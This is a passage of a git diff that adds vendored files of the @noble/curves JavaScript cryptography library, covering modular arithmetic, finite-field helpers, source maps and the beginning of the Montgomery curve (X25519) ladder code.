bigint, isLE?: boolean): Uint8Array; +export {}; +//# sourceMappingURL=modular.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/modular.d.ts.map b/node_modules/@noble/curves/abstract/modular.d.ts.map new file mode 100644 index 000000000000..5f1521eb1090 --- /dev/null +++ b/node_modules/@noble/curves/abstract/modular.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"modular.d.ts","sourceRoot":"","sources":["../src/abstract/modular.ts"],"names":[],"mappings":"AAmBA,wBAAgB,GAAG,CAAC,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,GAAG,MAAM,CAGhD;AACD;;;;;GAKG;AAEH,wBAAgB,GAAG,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAUtE;AAGD,wBAAgB,IAAI,CAAC,CAAC,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAOrE;AAGD,wBAAgB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAsB7D;AAED;;;;;;;GAOG;AACH,wBAAgB,aAAa,CAAC,CAAC,EAAE,MAAM,iCAsDtC;AAED,wBAAgB,MAAM,CAAC,CAAC,EAAE,MAAM,iCA2D/B;AAGD,eAAO,MAAM,YAAY,QAAS,MAAM,UAAU,MAAM,YAAqC,CAAC;AAG9F,MAAM,WAAW,MAAM,CAAC,CAAC;IACvB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AC,EAAE,MAAM,EAAE,UAAU,CAAC,EAAE,MAAM;;;EAKrD;AAED,KAAK,OAAO,GAAG,MAAM,CAAC,MAAM,CAAC,GAAG,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,EAAE,OAAO,CAAC,CAAC,CAAC;AACxE;;;;;;;;;;;GAWG;AACH,wBAAgB,KAAK,CACnB,KAAK,EAAE,MAAM,EACb,MAAM,CAAC,EAAE,MAAM,EACf,IAAI,UAAQ,EACZ,KAAK,GAAE,OAAO,CAAC,MAAM,CAAC,MAAM,CAAC,CAAM,GAClC,QAAQ,CAAC,OAAO,CAAC,CAkDnB;AAED,wBAAgB,SAAS,CAAC,CAAC,EAAE,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,EAAE,CAAC,KAIjD;AAED,wBAAgB,UAAU,CAAC,CAAC,EAAE,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,EAAE,CAAC,KAIlD;AAED;;;;;GAKG;AACH,wBAAgB,mBAAmB,CACjC,IAAI,EAAE,MAAM,GAAG,UAAU,EACzB,UAAU,EAAE,MAAM,EAClB,IAAI,UAAQ,GACX,MAAM,CAQR;AAED;;;;;GAKG;AACH,wBAAgB,mBAAmB,CAAC,UAAU,EAAE,MAAM,GAAG,MAAM,CAI9D;AAED;;;;;;GAMG;AACH,wBAAgB,gBAAgB,CAAC,UAAU,EAAE,MAAM,GAAG,MAAM,CAG3D;AAED;;;;;;;;;;;;GAYG;AACH,wBAAgB,cAAc,CAAC,GAAG,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,EAAE,IAAI,UAAQ,GAAG,UAAU,CAW5F"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/modular.js b/node_modules/@noble/curves/abstract/modular.js new file mode 100644 index 000000000000..8da4be4e7e31 --- /dev/null +++ b/node_modules/@noble/curves/abstract/modular.js @@ -0,0 +1,439 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.mapHashToField = exports.getMinHashLength = exports.getFieldBytesLength = exports.hashToPrivateScalar = exports.FpSqrtEven = exports.FpSqrtOdd = exports.Field = exports.nLength = exports.FpIsSquare = exports.FpDiv = exports.FpInvertBatch = exports.FpPow = exports.validateField = exports.isNegativeLE = exports.FpSqrt = exports.tonelliShanks = exports.invert = exports.pow2 = exports.pow = exports.mod = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Utilities for modular arithmetics and finite fields +const utils_js_1 = require("./utils.js"); +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3); +// prettier-ignore +const _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8); +// prettier-ignore +const _9n = BigInt(9), _16n = BigInt(16); +// Calculates a modulo b +function mod(a, b) { + const result = a % b; + return result >= _0n ? result : b + result; +} +exports.mod = mod; +/** + * Efficiently raise num to power and do modular division. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + * @example + * pow(2n, 6n, 11n) // 64n % 11n == 9n + */ +// TODO: use field version && remove +function pow(num, power, modulo) { + if (modulo <= _0n || power < _0n) + throw new Error('Expected power/modulo > 0'); + if (modulo === _1n) + return _0n; + let res = _1n; + while (power > _0n) { + if (power & _1n) + res = (res * num) % modulo; + num = (num * num) % modulo; + power >>= _1n; + } + return res; +} +exports.pow = pow; +// Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4) +function pow2(x, power, modulo) { + let res = x; + while (power-- > _0n) { + res *= res; + res %= modulo; + } + return res; +} +exports.pow2 = pow2; +// Inverses number over modulo +function invert(number, modulo) { + if (number === _0n || modulo <= _0n) { + throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`); + } + // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/ + // Fermat's little theorem "CT-like" version inv(n) = n^(m-2) mod m is 30x slower. + let a = mod(number, modulo); + let b = modulo; + // prettier-ignore + let x = _0n, y = _1n, u = _1n, v = _0n; + while (a !== _0n) { + // JIT applies optimization if those two lines follow each other + const q = b / a; + const r = b % a; + const m = x - u * q; + const n = y - v * q; + // prettier-ignore + b = a, a = r, x = u, y = v, u = m, v = n; + } + const gcd = b; + if (gcd !== _1n) + throw new Error('invert: does not exist'); + return mod(x, modulo); +} +exports.invert = invert; +/** + * Tonelli-Shanks square root search algorithm. + * 1. https://eprint.iacr.org/2012/685.pdf (page 12) + * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks + * Will start an infinite loop if field order P is not prime. + * @param P field order + * @returns function that takes field Fp (created from P) and number n + */ +function tonelliShanks(P) { + // Legendre constant: used to calculate Legendre symbol (a | p), + // which denotes the value of a^((p-1)/2) (mod p). + // (a | p) ≡ 1 if a is a square (mod p) + // (a | p) ≡ -1 if a is not a square (mod p) + // (a | p) ≡ 0 if a ≡ 0 (mod p) + const legendreC = (P - _1n) / _2n; + let Q, S, Z; + // Step 1: By factoring out powers of 2 from p - 1, + // find q and s such that p - 1 = q*(2^s) with q odd + for (Q = P - _1n, S = 0; Q % _2n === _0n; Q /= _2n, S++) + ; + // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq + for (Z = _2n; Z < P && pow(Z, legendreC, P) !== P - _1n; Z++) + ; + // Fast-path + if (S === 1) { + const p1div4 = (P + _1n) / _4n; + return function tonelliFast(Fp, n) { + const root = Fp.pow(n, p1div4); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Slow-path + const Q1div2 = (Q + _1n) / _2n; + return function tonelliSlow(Fp, n) { + // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1 + if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE)) + throw new Error('Cannot find square root'); + let r = S; + // TODO: will fail at Fp2/etc + let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b + let x = Fp.pow(n, Q1div2); // first guess at the square root + let b = Fp.pow(n, Q); // first guess at the fudge factor + while (!Fp.eql(b, Fp.ONE)) { + if (Fp.eql(b, Fp.ZERO)) + return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0) + // Find m such b^(2^m)==1 + let m = 1; + for (let t2 = Fp.sqr(b); m < r; m++) { + if (Fp.eql(t2, Fp.ONE)) + break; + t2 = Fp.sqr(t2); // t2 *= t2 + } + // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow + const ge = Fp.pow(g, _1n << BigInt(r - m - 1)); // ge = 2^(r-m-1) + g = Fp.sqr(ge); // g = ge * ge + x = Fp.mul(x, ge); // x *= ge + b = Fp.mul(b, g); // b *= g + r = m; + } + return x; + }; +} +exports.tonelliShanks = tonelliShanks; +function FpSqrt(P) { + // NOTE: different algorithms can give different roots, it is up to user to decide which one they want. + // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve). + // P ≡ 3 (mod 4) + // √n = n^((P+1)/4) + if (P % _4n === _3n) { + // Not all roots possible! + // const ORDER = + // 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn; + // const NUM = 72057594037927816n; + const p1div4 = (P + _1n) / _4n; + return function sqrt3mod4(Fp, n) { + const root = Fp.pow(n, p1div4); + // Throw if root**2 != n + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10) + if (P % _8n === _5n) { + const c1 = (P - _5n) / _8n; + return function sqrt5mod8(Fp, n) { + const n2 = Fp.mul(n, _2n); + const v = Fp.pow(n2, c1); + const nv = Fp.mul(n, v); + const i = Fp.mul(Fp.mul(nv, _2n), v); + const root = Fp.mul(nv, Fp.sub(i, Fp.ONE)); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // P ≡ 9 (mod 16) + if (P % _16n === _9n) { + // NOTE: tonelli is too slow for bls-Fp2 calculations even on start + // Means we cannot use sqrt for constants at all! + // + // const c1 = Fp.sqrt(Fp.negate(Fp.ONE)); // 1. c1 = sqrt(-1) in F, i.e., (c1^2) == -1 in F + // const c2 = Fp.sqrt(c1); // 2. c2 = sqrt(c1) in F, i.e., (c2^2) == c1 in F + // const c3 = Fp.sqrt(Fp.negate(c1)); // 3. c3 = sqrt(-c1) in F, i.e., (c3^2) == -c1 in F + // const c4 = (P + _7n) / _16n; // 4. c4 = (q + 7) / 16 # Integer arithmetic + // sqrt = (x) => { + // let tv1 = Fp.pow(x, c4); // 1. tv1 = x^c4 + // let tv2 = Fp.mul(c1, tv1); // 2. tv2 = c1 * tv1 + // const tv3 = Fp.mul(c2, tv1); // 3. tv3 = c2 * tv1 + // let tv4 = Fp.mul(c3, tv1); // 4. tv4 = c3 * tv1 + // const e1 = Fp.equals(Fp.square(tv2), x); // 5. e1 = (tv2^2) == x + // const e2 = Fp.equals(Fp.square(tv3), x); // 6. e2 = (tv3^2) == x + // tv1 = Fp.cmov(tv1, tv2, e1); // 7. tv1 = CMOV(tv1, tv2, e1) # Select tv2 if (tv2^2) == x + // tv2 = Fp.cmov(tv4, tv3, e2); // 8. tv2 = CMOV(tv4, tv3, e2) # Select tv3 if (tv3^2) == x + // const e3 = Fp.equals(Fp.square(tv2), x); // 9. e3 = (tv2^2) == x + // return Fp.cmov(tv1, tv2, e3); // 10. z = CMOV(tv1, tv2, e3) # Select the sqrt from tv1 and tv2 + // } + } + // Other cases: Tonelli-Shanks algorithm + return tonelliShanks(P); +} +exports.FpSqrt = FpSqrt; +// Little-endian check for first LE bit (last BE bit); +const isNegativeLE = (num, modulo) => (mod(num, modulo) & _1n) === _1n; +exports.isNegativeLE = isNegativeLE; +// prettier-ignore +const FIELD_FIELDS = [ + 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr', + 'eql', 'add', 'sub', 'mul', 'pow', 'div', + 'addN', 'subN', 'mulN', 'sqrN' +]; +function validateField(field) { + const initial = { + ORDER: 'bigint', + MASK: 'bigint', + BYTES: 'isSafeInteger', + BITS: 'isSafeInteger', + }; + const opts = FIELD_FIELDS.reduce((map, val) => { + map[val] = 'function'; + return map; + }, initial); + return (0, utils_js_1.validateObject)(field, opts); +} +exports.validateField = validateField; +// Generic field functions +/** + * Same as `pow` but for Fp: non-constant-time. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + */ +function FpPow(f, num, power) { + // Should have same speed as pow for bigints + // TODO: benchmark! + if (power < _0n) + throw new Error('Expected power > 0'); + if (power === _0n) + return f.ONE; + if (power === _1n) + return num; + let p = f.ONE; + let d = num; + while (power > _0n) { + if (power & _1n) + p = f.mul(p, d); + d = f.sqr(d); + power >>= _1n; + } + return p; +} +exports.FpPow = FpPow; +/** + * Efficiently invert an array of Field elements. + * `inv(0)` will return `undefined` here: make sure to throw an error. + */ +function FpInvertBatch(f, nums) { + const tmp = new Array(nums.length); + // Walk from first to last, multiply them by each other MOD p + const lastMultiplied = nums.reduce((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = acc; + return f.mul(acc, num); + }, f.ONE); + // Invert last element + const inverted = f.inv(lastMultiplied); + // Walk from last to first, multiply them by inverted each other MOD p + nums.reduceRight((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = f.mul(acc, tmp[i]); + return f.mul(acc, num); + }, inverted); + return tmp; +} +exports.FpInvertBatch = FpInvertBatch; +function FpDiv(f, lhs, rhs) { + return f.mul(lhs, typeof rhs === 'bigint' ? invert(rhs, f.ORDER) : f.inv(rhs)); +} +exports.FpDiv = FpDiv; +// This function returns True whenever the value x is a square in the field F. +function FpIsSquare(f) { + const legendreConst = (f.ORDER - _1n) / _2n; // Integer arithmetic + return (x) => { + const p = f.pow(x, legendreConst); + return f.eql(p, f.ZERO) || f.eql(p, f.ONE); + }; +} +exports.FpIsSquare = FpIsSquare; +// CURVE.n lengths +function nLength(n, nBitLength) { + // Bit size, byte size of CURVE.n + const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length; + const nByteLength = Math.ceil(_nBitLength / 8); + return { nBitLength: _nBitLength, nByteLength }; +} +exports.nLength = nLength; +/** + * Initializes a finite field over prime. **Non-primes are not supported.** + * Do not init in loop: slow. Very fragile: always run a benchmark on a change. + * Major performance optimizations: + * * a) denormalized operations like mulN instead of mul + * * b) same object shape: never add or remove keys + * * c) Object.freeze + * @param ORDER prime positive bigint + * @param bitLen how many bits the field consumes + * @param isLE (def: false) if encoding / decoding should be in little-endian + * @param redef optional faster redefinitions of sqrt and other methods + */ +function Field(ORDER, bitLen, isLE = false, redef = {}) { + if (ORDER <= _0n) + throw new Error(`Expected Field ORDER > 0, got ${ORDER}`); + const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen); + if (BYTES > 2048) + throw new Error('Field lengths over 2048 bytes are not supported'); + const sqrtP = FpSqrt(ORDER); + const f = Object.freeze({ + ORDER, + BITS, + BYTES, + MASK: (0, utils_js_1.bitMask)(BITS), + ZERO: _0n, + ONE: _1n, + create: (num) => mod(num, ORDER), + isValid: (num) => { + if (typeof num !== 'bigint') + throw new Error(`Invalid field element: expected bigint, got ${typeof num}`); + return _0n <= num && num < ORDER; // 0 is valid element, but it's not invertible + }, + is0: (num) => num === _0n, + isOdd: (num) => (num & _1n) === _1n, + neg: (num) => mod(-num, ORDER), + eql: (lhs, rhs) => lhs === rhs, + sqr: (num) => mod(num * num, ORDER), + add: (lhs, rhs) => mod(lhs + rhs, ORDER), + sub: (lhs, rhs) => mod(lhs - rhs, ORDER), + mul: (lhs, rhs) => mod(lhs * rhs, ORDER), + pow: (num, power) => FpPow(f, num, power), + div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER), + // Same as above, but doesn't normalize + sqrN: (num) => num * num, + addN: (lhs, rhs) => lhs + rhs, + subN: (lhs, rhs) => lhs - rhs, + mulN: (lhs, rhs) => lhs * rhs, + inv: (num) => invert(num, ORDER), + sqrt: redef.sqrt || ((n) => sqrtP(f, n)), + invertBatch: (lst) => FpInvertBatch(f, lst), + // TODO: do we really need constant cmov? + // We don't have const-time bigints anyway, so probably will be not very useful + cmov: (a, b, c) => (c ? b : a), + toBytes: (num) => (isLE ? (0, utils_js_1.numberToBytesLE)(num, BYTES) : (0, utils_js_1.numberToBytesBE)(num, BYTES)), + fromBytes: (bytes) => { + if (bytes.length !== BYTES) + throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`); + return isLE ? (0, utils_js_1.bytesToNumberLE)(bytes) : (0, utils_js_1.bytesToNumberBE)(bytes); + }, + }); + return Object.freeze(f); +} +exports.Field = Field; +function FpSqrtOdd(Fp, elm) { + if (!Fp.isOdd) + throw new Error(`Field doesn't have isOdd`); + const root = Fp.sqrt(elm); + return Fp.isOdd(root) ? root : Fp.neg(root); +} +exports.FpSqrtOdd = FpSqrtOdd; +function FpSqrtEven(Fp, elm) { + if (!Fp.isOdd) + throw new Error(`Field doesn't have isOdd`); + const root = Fp.sqrt(elm); + return Fp.isOdd(root) ? Fp.neg(root) : root; +} +exports.FpSqrtEven = FpSqrtEven; +/** + * "Constant-time" private key generation utility. + * Same as mapKeyToField, but accepts less bytes (40 instead of 48 for 32-byte field). + * Which makes it slightly more biased, less secure. + * @deprecated use mapKeyToField instead + */ +function hashToPrivateScalar(hash, groupOrder, isLE = false) { + hash = (0, utils_js_1.ensureBytes)('privateHash', hash); + const hashLen = hash.length; + const minLen = nLength(groupOrder).nByteLength + 8; + if (minLen < 24 || hashLen < minLen || hashLen > 1024) + throw new Error(`hashToPrivateScalar: expected ${minLen}-1024 bytes of input, got ${hashLen}`); + const num = isLE ? (0, utils_js_1.bytesToNumberLE)(hash) : (0, utils_js_1.bytesToNumberBE)(hash); + return mod(num, groupOrder - _1n) + _1n; +} +exports.hashToPrivateScalar = hashToPrivateScalar; +/** + * Returns total number of bytes consumed by the field element. + * For example, 32 bytes for usual 256-bit weierstrass curve. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of field + */ +function getFieldBytesLength(fieldOrder) { + if (typeof fieldOrder !== 'bigint') + throw new Error('field order must be bigint'); + const bitLength = fieldOrder.toString(2).length; + return Math.ceil(bitLength / 8); +} +exports.getFieldBytesLength = getFieldBytesLength; +/** + * Returns minimal amount of bytes that can be safely reduced + * by field order. + * Should be 2^-128 for 128-bit curve such as P256. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of target hash + */ +function getMinHashLength(fieldOrder) { + const length = getFieldBytesLength(fieldOrder); + return length + Math.ceil(length / 2); +} +exports.getMinHashLength = getMinHashLength; +/** + * "Constant-time" private key generation utility. + * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF + * and convert them into private scalar, with the modulo bias being negligible. + * Needs at least 48 bytes of input for 32-byte private key. + * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/ + * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final + * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5 + * @param hash hash output from SHA3 or a similar function + * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n) + * @param isLE interpret hash bytes as LE num + * @returns valid private scalar + */ +function mapHashToField(key, fieldOrder, isLE = false) { + const len = key.length; + const fieldLen = getFieldBytesLength(fieldOrder); + const minLen = getMinHashLength(fieldOrder); + // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings. + if (len < 16 || len < minLen || len > 1024) + throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`); + const num = isLE ? (0, utils_js_1.bytesToNumberBE)(key) : (0, utils_js_1.bytesToNumberLE)(key); + // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0 + const reduced = mod(num, fieldOrder - _1n) + _1n; + return isLE ? (0, utils_js_1.numberToBytesLE)(reduced, fieldLen) : (0, utils_js_1.numberToBytesBE)(reduced, fieldLen); +} +exports.mapHashToField = mapHashToField; +//# sourceMappingURL=modular.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/modular.js.map b/node_modules/@noble/curves/abstract/modular.js.map new file mode 100644 index 000000000000..451c0e5bfb5f --- /dev/null +++ b/node_modules/@noble/curves/abstract/modular.js.map @@ -0,0 +1 @@ +{"version":3,"file":"modular.js","sourceRoot":"","sources":["../src/abstract/modular.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,sDAAsD;AACtD,yCAQoB;AACpB,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACzE,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACxD,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzC,wBAAwB;AACxB,SAAgB,GAAG,CAAC,CAAS,EAAE,CAAS;IACtC,MAAM,MAAM,GAAG,CAAC,GAAG,CAAC,CAAC;IACrB,OAAO,MAAM,IAAI,GAAG,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC;AAC7C,CAAC;AAHD,kBAGC;AACD;;;;;GAKG;AACH,oCAAoC;AACpC,SAAgB,GAAG,CAAC,GAAW,EAAE,KAAa,EAAE,MAAc;IAC5D,IAAI,MAAM,IAAI,GAAG,IAAI,KAAK,GAAG,GAAG;QAAE,MAAM,IAAI,KAAK,CAAC,2BAA2B,CAAC,CAAC;IAC/E,IAAI,MAAM,KAAK,GAAG;QAAE,OAAO,GAAG,CAAC;IAC/B,IAAI,GAAG,GA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AO,EAAE,QAAQ,CAAC,CAAC;AACxF,CAAC;AAXD,wCAWC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/montgomery.d.ts b/node_modules/@noble/curves/abstract/montgomery.d.ts new file mode 100644 index 000000000000..69e2bc45fa90 --- /dev/null +++ b/node_modules/@noble/curves/abstract/montgomery.d.ts @@ -0,0 +1,26 @@ +type Hex = string | Uint8Array; +export type CurveType = { + P: bigint; + nByteLength: number; + adjustScalarBytes?: (bytes: Uint8Array) => Uint8Array; + domain?: (data: Uint8Array, ctx: Uint8Array, phflag: boolean) => Uint8Array; + a: bigint; + montgomeryBits: number; + powPminus2?: (x: bigint) => bigint; + xyToU?: (x: bigint, y: bigint) => bigint; + Gu: bigint; + randomBytes?: (bytesLength?: number) => Uint8Array; +}; +export type CurveFn = { + scalarMult: (scalar: Hex, u: Hex) => Uint8Array; + scalarMultBase: (scalar: Hex) => Uint8Array; + getSharedSecret: (privateKeyA: Hex, publicKeyB: Hex) => Uint8Array; + getPublicKey: (privateKey: Hex) => Uint8Array; + utils: { + randomPrivateKey: () => Uint8Array; + }; + GuBytes: Uint8Array; +}; +export declare function montgomery(curveDef: CurveType): CurveFn; +export {}; +//# sourceMappingURL=montgomery.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/montgomery.d.ts.map b/node_modules/@noble/curves/abstract/montgomery.d.ts.map new file mode 100644 index 000000000000..a0d1c0b95281 --- /dev/null +++ b/node_modules/@noble/curves/abstract/montgomery.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"montgomery.d.ts","sourceRoot":"","sources":["../src/abstract/montgomery.ts"],"names":[],"mappings":"AAMA,KAAK,GAAG,GAAG,MAAM,GAAG,UAAU,CAAC;AAE/B,MAAM,MAAM,SAAS,GAAG;IACtB,CAAC,EAAE,MAAM,CAAC;IACV,WAAW,EAAE,MAAM,CAAC;IACpB,iBAAiB,CAAC,EAAE,CAAC,KAAK,EAAE,UAAU,KAAK,UAAU,CAAC;IACtD,MAAM,CAAC,EAAE,CAAC,IAAI,EAAE,UAAU,EAAE,GAAG,EAAE,UAAU,EAAE,MAAM,EAAE,OAAO,KAAK,UAAU,CAAC;IAC5E,CAAC,EAAE,MAAM,CAAC;IACV,cAAc,EAAE,MAAM,CAAC;IACvB,UAAU,CAAC,EAAE,CAAC,CAAC,EAAE,MAAM,KAAK,MAAM,CAAC;IACnC,KAAK,CAAC,EAAE,CAAC,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,KAAK,MAAM,CAAC;IACzC,EAAE,EAAE,MAAM,CAAC;IACX,WAAW,CAAC,EAAE,CAAC,WAAW,CAAC,EAAE,MAAM,KAAK,UAAU,CAAC;CACpD,CAAC;AACF,MAAM,MAAM,OAAO,GAAG;IACpB,UAAU,EAAE,CAAC,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,GAAG,KAAK,UAAU,CAAC;IAChD,cAAc,EAAE,CAAC,MAAM,EAAE,GAAG,KAAK,UAAU,CAAC;IAC5C,eAAe,EAAE,CAAC,WAAW,EAAE,GAAG,EAAE,UAAU,EAAE,GAAG,KAAK,UAAU,CAAC;IACnE,YAAY,EAAE,CAAC,UAAU,EAAE,GAAG,KAAK,UAAU,CAAC;IAC9C,KAAK,EAAE;QAAE,gBAAgB,EAAE,MAAM,UAAU,CAAA;KAAE,CAAC;IAC9C,OAAO,EAAE,UAAU,CAAC;CACrB,CAAC;AAuBF,wBAAgB,UAAU,CAAC,QAAQ,EAAE,SAAS,GAAG,OAAO,CA0IvD"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/montgomery.js b/node_modules/@noble/curves/abstract/montgomery.js new file mode 100644 index 000000000000..b43e43b5fdf9 --- /dev/null +++ b/node_modules/@noble/curves/abstract/montgomery.js @@ -0,0 +1,161 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.montgomery = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const modular_js_1 = require("./modular.js"); +const utils_js_1 = require("./utils.js"); +const _0n = BigInt(0); +const _1n = BigInt(1); +function validateOpts(curve) { + (0, utils_js_1.validateObject)(curve, { + a: 'bigint', + }, { + montgomeryBits: 'isSafeInteger', + nByteLength: 'isSafeInteger', + adjustScalarBytes: 'function', + domain: 'function', + powPminus2: 'function', + Gu: 'bigint', + }); + // Set defaults + return Object.freeze({ ...curve }); +} +// NOTE: not really montgomery curve, just bunch of very specific methods for X25519/X448 (RFC 7748, https://www.rfc-editor.org/rfc/rfc7748) +// Uses only one coordinate instead of two +function montgomery(curveDef) { + const CURVE = validateOpts(curveDef); + const { P } = CURVE; + const modP = (n) => (0, modular_js_1.mod)(n, P); + const montgomeryBits = CURVE.montgomeryBits; + const montgomeryBytes = Math.ceil(montgomeryBits / 8); + const fieldLen = CURVE.nByteLength; + const adjustScalarBytes = CURVE.adjustScalarBytes || ((bytes) => bytes); + const powPminus2 = CURVE.powPminus2 || ((x) => (0, modular_js_1.pow)(x, P - BigInt(2), P)); + // cswap from RFC7748. But it is not from RFC7748! + /* + cswap(swap, x_2, x_3): + dummy = mask(swap) AND (x_2 XOR x_3) + x_2 = x_2 XOR dummy + x_3 = x_3 XOR dummy + Return (x_2, x_3) + Where mask(swap) is the all-1 or all-0 word of the same length as x_2 + and x_3, computed, e.g., as mask(swap) = 0 - swap. + */ + function cswap(swap, x_2, x_3) { + const dummy = modP(swap * (x_2 - x_3)); + x_2 = modP(x_2 - dummy); + x_3 = modP(x_3 + dummy); + return [x_2, x_3]; + } + // Accepts 0 as well + function assertFieldElement(n) { + if (typeof n === 'bigint' && _0n <= n && n < P) + return n; + throw new Error('Expected valid scalar 0 < scalar < CURVE.P'); + } + // x25519 from 4 + // The constant a24 is (486662 - 2) / 4 = 121665 for curve25519/X25519 + const a24 = (CURVE.a - BigInt(2)) / BigInt(4); + /** + * + * @param pointU u coordinate (x) on Montgomery Curve 25519 + * @param scalar by which the point would be multiplied + * @returns new Point on Montgomery curve + */ + function montgomeryLadder(pointU, scalar) { + const u = assertFieldElement(pointU); + // Section 5: Implementations MUST accept non-canonical values and process them as + // if they had been reduced modulo the field prime. + const k = assertFieldElement(scalar); + const x_1 = u; + let x_2 = _1n; + let z_2 = _0n; + let x_3 = u; + let z_3 = _1n; + let swap = _0n; + let sw; + for (let t = BigInt(montgomeryBits - 1); t >= _0n; t--) { + const k_t = (k >> t) & _1n; + swap ^= k_t; + sw = cswap(swap, x_2, x_3); + x_2 = sw[0]; + x_3 = sw[1]; + sw = cswap(swap, z_2, z_3); + z_2 = sw[0]; + z_3 = sw[1]; + swap = k_t; + const A = x_2 + z_2; + const AA = modP(A * A); + const B = x_2 - z_2; + const BB = modP(B * B); + const E = AA - BB; + const C = x_3 + z_3; + const D = x_3 - z_3; + const DA = modP(D * A); + const CB = modP(C * B); + const dacb = DA + CB; + const da_cb = DA - CB; + x_3 = modP(dacb * dacb); + z_3 = modP(x_1 * modP(da_cb * da_cb)); + x_2 = modP(AA * BB); + z_2 = modP(E * (AA + modP(a24 * E))); + } + // (x_2, x_3) = cswap(swap, x_2, x_3) + sw = cswap(swap, x_2, x_3); + x_2 = sw[0]; + x_3 = sw[1]; + // (z_2, z_3) = cswap(swap, z_2, z_3) + sw = cswap(swap, z_2, z_3); + z_2 = sw[0]; + z_3 = sw[1]; + // z_2^(p - 2) + const z2 = powPminus2(z_2); + // Return x_2 * (z_2^(p - 2)) + return modP(x_2 * z2); + } + function encodeUCoordinate(u) { + return (0, utils_js_1.numberToBytesLE)(modP(u), montgomeryBytes); + } + function decodeUCoordinate(uEnc) { + // Section 5: When receiving such an array, implementations of X25519 + // MUST mask the most significant bit in the final byte. + // This is very ugly way, but it works because fieldLen-1 is outside of bounds for X448, so this becomes NOOP + // fieldLen - scalaryBytes = 1 for X448 and = 0 for X25519 